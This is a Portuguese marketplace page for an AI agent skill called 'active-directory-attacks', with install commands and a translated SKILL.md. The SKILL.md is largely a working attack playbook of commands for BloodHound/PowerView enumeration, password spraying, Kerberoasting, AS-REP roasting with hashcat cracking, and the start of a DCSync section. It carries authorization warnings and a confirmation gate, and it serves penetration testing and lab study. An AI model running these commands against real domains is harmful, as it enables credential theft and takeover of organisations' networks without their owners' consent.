active-directory-attacks
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
O que ela faz
Esta skill ajuda a entender e praticar como atacar sistemas Microsoft Active Directory. Ela ensina técnicas para encontrar informações, roubar senhas e ganhar controle sobre a rede.
Quando usar
- ✓Para aprender sobre segurança de redes em ambientes de teste.
- ✓Para validar a segurança de uma rede com permissão.
- ✓Para simular ataques em laboratórios controlados.
Exemplo do que pedir para a IA
“Como posso usar o BloodHound para encontrar caminhos de ataque no Active Directory?”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A skill usa ferramentas específicas para explorar o Active Directory. Ela coleta informações sobre usuários e computadores, tenta descobrir senhas e usa essas informações para se mover pela rede e obter privilégios mais altos.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill active-directory-attacksOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/active-directory-attacks/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas para leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
<!-- security-allowlist: credential-extraction, kerberos-attacks -->USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.
Ataques ao Active Directory
Propósito
Fornecer técnicas abrangentes para atacar ambientes Microsoft Active Directory. Cobre reconhecimento, coleta de credenciais, ataques Kerberos, movimento lateral, escalonamento de privilégios e domínio de domínio para operações de equipe vermelha e testes de penetração.
Entradas/Pré-requisitos
- Kali Linux ou plataforma de ataque Windows
- Credenciais de usuário de domínio (para a maioria dos ataques)
- Acesso à rede ao Controlador de Domínio
- Ferramentas: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
Saídas/Entregas
- Dados de enumeração de domínio
- Credenciais e hashes extraídos
- Tickets Kerberos para personificação
- Acesso de Administrador de Domínio
- Mecanismos de acesso persistente
Ferramentas Essenciais
| Ferramenta | Propósito |
|---|---|
| BloodHound | Visualização de caminhos de ataque AD |
| Impacket | Ferramentas de ataque AD em Python |
| Mimikatz | Extração de credenciais |
| Rubeus | Ataques Kerberos |
| CrackMapExec | Exploração de rede |
| PowerView | Enumeração AD |
| Responder | Envenenamento LLMNR/NBT-NS |
Fluxo de Trabalho Principal
Etapa 1: Sincronização do Relógio Kerberos
O Kerberos requer sincronização de relógio (±5 minutos):
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
Etapa 2: Reconhecimento AD com BloodHound
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
Etapa 3: Enumeração com PowerView
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
Ataques de Credenciais
Ataque de Senha em Massa (Password Spraying)
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
Extraia tickets TGS de contas de serviço e quebre offline:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
Alvo de contas com "Não exigir pré-autenticação Kerberos":
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
Ataque DCSync
Extraia credenciais diretamente do DC (requer direitos de Replicar Alterações de Diretório):
# Impacket
…
Perguntas frequentes
Preciso de permissão para usar esta skill?
Sim, você precisa de permissão explícita e por escrito do dono do sistema antes de usar esta skill. O uso não autorizado é ilegal.
Quais ferramentas são usadas?
Ferramentas como BloodHound, Mimikatz, Impacket e PowerView são usadas para coletar informações, extrair credenciais e executar ataques.
O que é 'Kerberoasting'?
É uma técnica para extrair informações de contas de serviço e tentar descobrir suas senhas offline.
Detalhes
Descrição original do autor
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #2028
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC